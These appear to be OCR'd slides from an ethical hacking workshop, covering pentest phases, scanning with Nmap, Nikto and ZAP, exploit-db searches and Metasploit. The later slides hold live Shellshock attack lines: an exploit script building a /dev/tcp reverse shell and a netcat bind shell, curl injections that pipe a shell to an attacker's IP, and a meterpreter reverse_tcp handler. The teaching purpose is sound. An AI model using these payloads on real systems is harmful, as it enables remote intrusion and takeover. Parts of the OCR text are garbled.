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Ethical Hacking

» In any computer security attack, the attacker will fall into any three
categories depending on their intentions and use of the attack.

» “Black Hat Hackers” are attackers whose sole reason for penetrating a
system is to gain information from the system to be used for malicious

purposes.

» Its important to note that you are breaking SEVERAL federal and state
laws while performing this category of attack.

» If caught the punishment typically ranges from confiscation of
equipment to jail time.




Ethical Hacking

» “White Hat Hackers” are attackers whose sole reason for penetrating a
system is to harden the system against attacks so that it will be less
susceptible to attacks in the future.

» Companies typically hire these hackers to stress test their defense
systems for any potential holes within the defense network.

» While this kind of attack is legal, the attackers are only allowed to
access areas that the company explicitly consents to.

» This is the kind of hacking we will be doing today.




Ethical Hacking

» “Gray Hat Hackers” are attackers whose sole reason for penetrating a
system is simply because they can and they typically return any stolen
information that could be used for malicious purposes.

» While these attacks are considered illegal, the majority of attackers
are never caught or even noticed after the attack has happened.




Ethical Hacking

» Today we are going to show you how to go about hacking in a safe
environment, a set of tools to use for hacking, and some business
applications of white hat hacking.




What is Penetration Testing

» “Penetration testing can be defined as a security-oriented probing
of a computer system or network to seek out vulnerabilities that
an attacker could exploit”




Business Perspective of Pen Testing

» Why would | ever need a penetration test?

» A successful penetration test would be that which would help an
organization to understand the business risks arising from the
vulnerabilities, and would provide a proper risk mitigation plan
that fits the organizations business policy.




Pen Testing Model

» Planning

Additional discovery

» Discovery T
} AttaCk PLANNING ATTACK

» Reporting

REPORTING

Fig. 1: Four Phase Penetration Testing Methodology 2




Planning

» Where the scope for the assignment R.0.B.0.T. Comics
is defined.

» Limitations compared to hackers.
» Time

» Legal Restrictions

"HIS PATH-PLANNING MAY BE
SUB-OPTIMAL, BUT IT'S GOT FLAIR."




Discovery

» Footprinting
» Network
» Endpoint
» Application




Discovery: Footprinting

» First part of Discovery.

» Involves searching the internet, querying various public
repositories (whois databases, domain registrars, Usenet
groups, mailing lists, etc.).




Discovery: Network

» Mapping out the Topology of a network.
» High level representation with Etherape.




Discovery: Network (Cont.)

» Using Nmap

» Nmap (Network Mapper) is a security scanner
originally written by Gordon Lyon (also known by his
pseudonym Fyodor Vaskovich) used to discover hosts
and services on a computer network, thus creating a
‘map” of the network.




Discovery: Network (Cont.)

» Nmap Output

root@kali:~# nmap -sT 192.168.89.191

Starting Nmap 6.40 ( http://nmap.org ) at 2014-09-05 16:16 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.89.191

Host is up (0.012s latency).

Not shown: 982 closed ports

PORT STATE SERVICE

21/tcp open ftp

25/tcp open smtp

53/tcp open domain

80/tcp open http

110/tcp open pop3

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

1025/tcp open NFS-or-IIS

1026/tcp open LSA-or-nterm

1027/tcp open IIS

1030/tcp open iadl

1033/tcp open netinfo

1034/tcp open zincite-a

1035/tcp open multidropper




Discovery: Endpoint

» OS Fingerprinting

» Determining the type of operating
system used by studying the types of
packets flowing from a system.
Passive OS fingerprinting only
analyzes the packets. Active OS
fingerprinting sends challenges to the
OS and examines the type of
responses.




Discovery: Endpoint

» OS Fingerprinting with Xprobe2
| noot:xpn:ﬁez v ~ X

File Edit View Bookmarks Settings Help

ware: Windows Version 5.2 (Build 3790 Upiprocessor Free)] -
ping:tcp ping has not enough data

ping:udp_ping has not enough data

infogather:tt1l_calc has not enough data

Executing infogather:portscan

Executing app:ftp

Executing app:http

[+] Primary Network quess:

[+] Host 192.168.1.116 Running 0S: "Microsoft Windows XP SP2" (Guess probability: 100%)

[+] Other guesses:

[+] Host 192.168,1,116 Running 0S: "Microsoft Windows 2003 Server Enterprise Editien® (Guess probability: 1
00%)

[+] Host 192.168.1.116 Running 0S: "Microsoft Windows 2003 Server Standard Edition" (Guess probability: 100
%)

[+] Host 192.168.1.116 Running 0S: "Microsoft Windows 2000 Server Service Pack 1" (Guess probability: 100%)
[+] Host 192.168,1.116 Running 0S: "Microsoft Windows 2000 Server" (Guess probabiality: 100%)

[+] Host 192.168.1,116 Running 0S: “"Microsoft Windows 2000 Workstation SP4* (Guess probability: 100%)

[+] Host 192.168.1,116 Running OS: "Microsoft Windows 2000 Workstation SP3" (Guess-probability: 100%)

[+] Host 192.168.1.116 Running ©0S: "Microsoft Windows 2000 Workstation SP2" (Guess.probability: 100%)

[+] Host 192.168.1,116 Runping OS%H "Mitrosoft Windows 2000/Workstation SP1* (Guess.probability: 100%)

[+] Host 192.168.1.116 Rinpning 0S: "Microsoft Windows 2000 Workstation™. (Guess-probability: 100%)

[+] Cleaning up scan ehgine

[+] Modules deinitialized

[+] Execution completed. -
rootgbt: = i =

B root : xprobe2




Discovery: Applications

Threat Attack Security Security Technical Business
Agents Vectors Weaknesses Controls Impacts Impacts

% Attack Weakness Control Impact J
% Attack Weakness Control Impact
Function
Attack Weakness Impact

Weakness @ueeipControl




OWASP Top 10

Al-Injection

A3-Broken Authentication and Session Management
A2-Cross Site Scripting (X55)
Ad-Insecure Direct Object Reference
AB-Security Misconfiguration
AT7-Insecure Cryptographic Storage - Merged with A9 -—>
A8-Failure to Restnict URL Access - Broadened into —=
A5-Cross Site Request Forgery (CSRF)
<buried in AG: Security Misconfiguration=

A10-Unvalidated Redirects and Forwards

A9-Insufficient Transport Layer Protection

OWASP Top 10 - 2010 (Previous Version) OWASP Top 10 - 2013 (Current Version)

Al-Injection
AZ2-Broken Authentication and Session Management
A3-Cross-5ite Scripting (X55)
Ad-Insecure Direct Object References
AS-Security Misconfiguration
Ab-Sensitive Data Exposure
A7-Missing Function Level Access Control
A8-Cross-5ite Request Forgery (CSRF)
A9-Using Components with Known Vulnerabilities
A10-Unvalidated Redirects and Forwards
Merged with 2010-A7 into 2013-A6




Discovery: Applications

» Application & services discovery
» Manual (e.g., telnet)
» Automated (e.g., nikto, nessus, openvas)

» Vulherability probing
» owasp-zap
» Burpsuite
» Nikto
> ...




nikto -host 74.217.87.87 -port 80 \

+ Target IP: 74.217 .87 .87

+ Target Hostname: webscantest.com

+ Target Port: 80

+ Start Time: 2014-03-16 13:23:30 (GMTO)

Server: Apache

+ tT0_VULN_SITE created without the httponly flag
+ Retrleved x-powered-by header: PHP/5.3.3

+ The anti-clickjacking X-Frame-Options header is not present.
+

+

No CGI Directories found (use '-C all' to force check all possible dirs)
Server leaks inodes via ETags, header found with file /robots.txt, inode: 4920
56, size: 101, mtime: Ox4f135f9b8B2c00
+ "robots.txt" contains 4 entries which should be manually viewed.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microso

f =usllibrary/e8z01xdh%28VS .80%29.aspx for details.
+| OSVDB-877: [HTTP TRACE method is active, suggesting the host is vulnerable to X
+ OSVDB-12184: /index.php?=PHPB8BSF2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals poten
tially sensitive information via d”?ta&nIHTTP req §*§ that contain specific QUERY st
rings. \/ 0} | /
\ ’ I$ ,!\ \ U
0SVDB-3092: /cart/: This mght—ﬁeqnteres‘&&ng S |
OSVDB-3268: /icons/: Directory indexing found.

+
+
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
“+
+

6544 items checked: O error(s) and 13 item(s) reported on remote host
End Time: 2014-03-16 13:43:12 (GMTO) (1182 seconds)

+ 1 host(s) tested

root@kali:~# l




[ osvdb.org/show/osvdb/877

0svnn Search OSVDB Vendors Project Info Help OSVDB! Sponsors Account

iple Web Server Dangerous HTTP Method TRACE

r | http://osvdb.org/877 | Email This | Edit Vulnerability

Views This Week Views All Time Added to OSVDB Last Modified Modified (since 2008) Percent Complete

88 32873 about 11 years ago 5 months ago 10 times 85%

Disclosure Date

finstine

RFC compliant web servers support the TRACE HTTP method, which contains a flaw that may lead to an unauthorized information disclosure. The TRACE method is used to debug web server connections and allows the
Descr‘ipt‘ion client to see what is being received at the other end of the request chain. Enabled by default in all major web servers, a remote attacker may abuse the HTTP TRACE functionality, i.e. cross-site scripting (XSS}, which will
disclose sensitive configuration information resulting in a loss of confidentiality.

Location: Remote / Network Access
Impact: Loss of Confidentiality
Exploit: Exploit Public

OSVDB: Web Related

Classification

3] (01uls s W If the TRACE method is not essential for your site, disable it in the web server configuration. Consult your documentation or vendor for detailed instructions on how to accomplish this.

| The Apache Software ‘

e Chukwa 0.4.0
NSMXpress ‘ Unspecified
Juniper Networks, Inc. NSM3000 ' Unspecified
Nngpress HA A Unspeéified

e Security Tracker: 1015112 1015134 102016

e IS5 X-Force ID: 11149 11237

* Bugtrag ID: 11604 3506 9561

* Secunia Advisory ID: 17334 21802

e SCIP VulDB ID: 1842

e CVE ID: 2005-3398 (see also: NVD) 2005-3498 (see also: NVD)
« Related OSVDB ID: 3726 5648

e CERT VU: 867593




nikto -host 8.26.65.101
-port 80

Target IP: 8.26.65.101

Target Hostname: wonderhowto.com

Target Port: 80

Start Time: 2014-03-16 13:47:02 (GMTO)

+

+

+

+

+| Server: Microsoft-IIS/8.5

+ i me | ame-Options header is not present.

+ Uncommon header 'x-server-name' found, with contents: APP1

+ Uncommon header 'x-ua-compatible' found, with contents: IE=Edge,chrome=1

+ Root page / redirects to: http://www.wonderhowto.com/

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a requ

est to the /images directory. The value is "http://10.0.63.22/images/".

+ Server banner has changed from 'Microsoft-IIS/8.5' to 'Microsoft-HTTPAPI/2.0' which
may suggest a WAF, load balancer or proxy is in place

+ Retrieved x-aspnet-version header: 4.0.30319

+ Uncommon header 'x-aspnetmvc-version' found, with contents: 4.0

T = 1: /phpimageview.php?pic=javascript:alert(8/54): PHP Image View 1.0 is vu
lnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.ht
ml .

+ /modules.php?op=modload&name=FAQ&file=index&myfaq=yesb&id cat=1l&categories=%3Cimg%20
src=javascript:alert(9456) ;%3E&parent id=0: Post Nuke 0.7.2.3-Phoenix is vulnerable t
o Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ /modules.php?letter=%22%3E%3Cimg%20sr¢=javascript ialert (document .cookie) ;%3E&op=mod
load&name=Members_List&file=index; ‘Post Nuke @.7.2.3-Phoenix is vulnerable to Cross S
ite Scripting (XSS). http://www.cert.org/advisories/CA-2000=02.html".

+ 0SVDB-4598: /members.asp?SF=%22;}alert(223344) ; function%20x() {v%20=%22: Web Wiz Fo
ums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). http://www.cert.
org/advisories/CA-2000-02.html.

+ OSVDB-2946: /forum members.asp?find=%22;}alert(9823) ; function%20x() {v%20=%22: Web
iz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). http://
.cert.org/advisories/CA-2000-02.html.

+ OSVDB-3092: /localstart.asp: Default IIS install page found.
+ 6544 items checked: 0 error(s) and 12 item(s) reported on remote host




nikto -host facebook.com -port 80

+ Target Hostname: facebook .com
+ Target Port: 80
+ Start Time: 2014-03-16 13:15:56 (GMTO)

+[Server: No banner retrieved]

+ |he anti-clickjacking X-Frame-Options header is not present.

+ Uncommon header 'x-fb-debug' found, with contents: /KWGA8B8+EVbdDoiYsHIvPcAd4HST
rOgtT/WOI fOvOvUA=

Root page / redirects to: http://www.facebook.com/

No CGI Directories found (use '-C all' to force check all possible dirs)
/crossdomain.xml contains 18 lines which should be manually viewed for imprope
domains or wildcards.

Uncommon header 'x-frame-options' found, with contents: DENY

Uncommon header 'x-xss-protection' found, with contents: 0

Uncommon header 'x-content-type-options' found, with contents: nosniff
File/dir '/ajax/' in robots.txt returned a non-forbidden or redirect HTTP code
(301)

Cookie reg fb gate created without the httponly flag

Cookie reg_fb_ref created without the httponly flag

Cookie reg ext ref creatéd! ‘witholt thé"httﬁonly ad 11\ VY,

"robots.txt" contains 132 entrles which should be manually viewed.

Server banner has changed- from~‘—'toi'proxygen -wh1ch~may 'suggest a WAF, load
alancer or proxy is in place

+ + + + 5 + + +

1T + + + + +



Vulnerability probing with owasp-zap

@ Sites T e ] [ %" Quick Start T = Request I Response:«= T = ]
['Headér: Text q [Bnﬂ}r: Text q =g
| E-HTTF’;"]. L1200 0K

|_|_ Default Context Chiomdtos bdocl 7371 Pied I B T AT e T3 R

» @ M Sites

¥ [ Contexts

[ = History T &, Search T Fo alerts :;PT | Output T 5 Spider T A Active Scan T e ]

@ @& SQL Injection
¥ [& Alerts (9) JURL: http:/f10.176.147.20/cat.php?id=4-2

» (@& ™ Cross Site Scripting (Reflected) | |Risk: i High

v = % 5QL Injection |Confidence:  Medium

| | GET: http://10.176.147.20/cat.php?id=4-2 |\Parameter:  id

» |& ¥ Directory Browsing Attack: 4-2

> [ X-Frame-Options Header Not Set (16) L

» [5 7 Cookie set without HttpOnly flag (3) I;ﬁgﬁd s

» [ v Password Autocomplete in browser Description:

» [B§ I Private IP Disclosure (2) f

» (&3 /v Web Browser XSS Protection Not Enabled (16) ' SQL injection may be possible.

> [ R X-Content-Type-Options Header Missing (16)
| v|
| [=%g |

CAlerts B2 2 (U5 RO Current Scans 4¢ 0 2 0 @0 %0 0 &0 W0




How to find proof- of concept expl01t57

Q seq *B O 4 A

6‘ & h w.exploit-db.com/search/7action=search&descrip

anprlnnnlgﬁ Home Exploits Shellcode Papers Google Hacking Database Submit Search

Search the Explout Database

CVE and OSVDB iden

shellshock CVE (eg: 2015-1423) m

Advanced search

Date ~ D A V Title Platform Author
2014-11-03 & - & PHP 5.xShellshock Exploit (bypass disable_functions) php Ryan King (Sta.
2014-10-06 & - < Bash -CGIRCE(MSF) Shellshock Exploit cgi Fady Mohammed .
2014-10-06 & - <« Postfix SMTP - Shellshock Exploit linux Phil Blank
2014-10-06 & - < Apache mod_cgi- Remote Exploit (Shellshock) linux Federico Galat.
2014-10-04 & - (9 OpenVPN 2.2.29 - ShellShock Exploit linux hobbily plunt
2014-09-29 § - < ShellShock dhclient Bash Environment Variable Command Injection PoC linux fdiskyou
2014-09-25 & - <« GNU Bash - Environment Variable Command Injection (ShellShock) linux Stephane Chaze.
2014-09-25 § - « Bash-Environment Variables Code Injection Exploit (ShellShock) linux Prakhar Prasad.



How to find proof-of-concept exploits?

File Edit View Search Terminal Help
rooti@kali:~# searchsploit shellshock

Exploit Title | Path

| (fusr/share/exploitdb/platforms)
OpenVPN 2.2.29 - ShellShock Exploit | ./linux/remote/34879.txt
Bash - CGI RCE (MSF) Shellshock Exploit | ./cqi/webapps/34895.rb
Postfix SMTP - Shellshock Exploit | ./linux/remote/34896.py
Apache mod cgi - Remote Exploit (Shellshock) | ./linux/remote/34900.py
PHP 5.x Shellshock Exploit (bypass disable functions) | ./php/webapps/35146.txt
shellShock dhclient Bash Environment Variable Command Inject | ./linux/remote/36933.py

r¢¢t§<511:=#|]




EXPLOIT » |
Home Exploits
DATABAS "

| oargs = {}

Shellcode Papers Google Hacking Database Submit Search

for arg in sys.argv[1l:]:
ar = arg.split{"=")
args[ar[g]] = ar[1]
try:
args[ 'payload’]
except:

usage()

if args['payload’] == 'reverse’:
try:

lhost

lport

args[ "lhost']
int{args[ " lport'])
. Ll |

! payload = "() { :;}; /bin/bash -c /bin/bash -i »& /dev/tcp/"+lhost+"/"+str(lport)+" €>81 &"
ex L9
Esage(}
elif args|'payload’] == 'bind':
try:
rhost = args['rhost’]
rport = args[ 'rport’]
payload = "() { :;}; /bin/bash -c 'nc -1 -p "+rport+” -e /bin/bash &""
except:
usage( )

else:
print "[*] Unsupported payload”
usage()

try:
pages

except:
pages

args[ 'pages’].split{",")

["/cgi-sys/entropysearch.cgi”,"/cgi-sys/defaultwebpage.cgi”,”/cgi-mod/index.cgi”,"/cgi-bin/test.cgi”,"/cgi-bin-sdb/pri



Metasploit

» What is Metasploit?

» A computer security project that provides information
about security vulnerabilities and aids in penetration
testing and IDS signature development.

» Metasploit Framework, a tool for developing and
executing exploit code against a remote target machine.




Port Scanning results

» Show:

Starting Nmap ©.45BETA4 |
Nmap =scan report for 10.176.62.191

Host up (0.000022=2 latency).

Not shown: 996 closed ports

FCRT VERSION
ProFTPD 1.3.5

https://mmap.org )

i=

e — — o, —

SEERVICE
ftp
=z=5h

Zl/tecp open
22/tep open
col 2.0)

Open35H

20/ tep open http Apache nttpd 2.4.17 ((Unix))
[VMware)
CPE: cpe:/o:linux:linux kernel

10e84/tcp open tcpwrapped

MAC Address: 00:50:56:94:14:D1
Service Info: 05=: Unix, Linux;
Service detection performed. Please
.org/submit/ .

Nmap done: 1 IPF address (1 host up)
roct@kali:~# I

at

6.6.1pl Ubuntu Zubuntul.3

report any incorrect results at https://nmap

gcanned in

(Ubuntu Linux; proto

2.52 seconds



Services Running

PORT STATE SERVICE VERSION
21/tcp  open ftp ProFTPD 1.3.5

22/tcp open ssh OpenSSH  6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux;
protocol 2.0)

1064/tcp open tcp wrapped

There is a web server running




Web Server Vulnerability Analysis Tool
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What is Shellshock ? (AKA Bashdoor)

» It is a security bug in the widely used Unix Bash shell (Unix shell and
commandline language).

» Many Internet-facing services, such as some web server deployments,
use Bash to process certain requests, allowing an attacker to cause
vulnerable versions of Bash to execute arbitrary commands.

» This can allow an attacker to gain unauthorized access to a computer
system

» Disclosed on 24 September 2014 by Stephane Chazelas




In this scenario:

#MALICIOUS-CODE is executed when
/ \ Bash sets an environment variable using
the HTTP header content. Active exploit

HTTP SERVER

Refarer: () {::}; #MALICIOUS-CODE

13 : e | attempts include:
e Web Server » Theft of password files
=

\- y N » Forced downloads of external content

\\ via WGET
\ —fEanay - - * Setting up a Teinet session to the attacker
rograms : o
preg The reason Shellshock is so dangerous is: fordiectacoess o he sysem
€) Exploit string is passed in an HTTP header; Bash o Comolex shel sarots acling s a T
it then allows any system-level command Operating System omplex shell scripts acting as a Trojan

accessible via Bash to be executed remotely. that alows remote access

_

y, fin ot st i
——— 0 There s no limitation on the length of the ' '”f?”“f’”. o EFDTQ?‘SDBH?EES”EMY
commands being passed in HTTP headers. NIY RV T LSS gttt
CLIENT (Web browser) | Securty researchers have aready identified \ /

attempted exploits leveraging lengthy scripts
in the wild.,



Shellshock ( Commandline )

» curl -A"() { :; }; echo Content-Type: text/plain ; echo ; /bin/ls /tmp/”
http://10.176.68.191/cgi-bin/login.cgi

» NetCat: curl -A"() { :; }; echo Content-Type: text/plain ; echo ; /bin/nc

» Scurl -A"() { :; }; echo Content-Type: text/plain ; echo ; echo ; /bin/mknod
/tmp/p p" http://<target-ip>/cgi-bin/login.cgi

» Scurl -A"() {:; }; echo Content-Type: text/plain ; echo ; echo ; /bin/dash
O</tmp/p | /bin/nc <your-ip> 4444 1>/tmp/p" http://<target-ip>/cgi-
bin/login.cgi

» You can also get netcat output everything into a txt file.
» nc -1 60000 > qux.txt  ;




Basic concept: How to Use Metasploit

» - Run msfconsole ( eta ploit ramework)

» - ldentify a remote host

» - Pick a vulnerability and use an exploit

» - Configure the exploit

» - Execute the payload against the remote host




Join us at “Metasploit Freaks”

= msf v3.3-dey
+ - .= 397 exploits - 246 payloads
- =| 21 encoders 8 nops

={ 181 aux

msf > use multi/handler
msT exploit(handler) > set payload windows/meterpreter/reverse tep
payload = windows/meterpreter/reverse top

"Metaspidit Freaks """ oot |
. Joined «

T ~ Share v Notifications
Public’ Group

Discussion Members ve Photos

B3 write Post Add Photo / Video  [&l] Ask Question  [&] Add File 1,599 Members (22 new)




QUESTIONS? \




Please give us your
feedback!

http://goo.gl/forms/AZxk8Lih/L

\




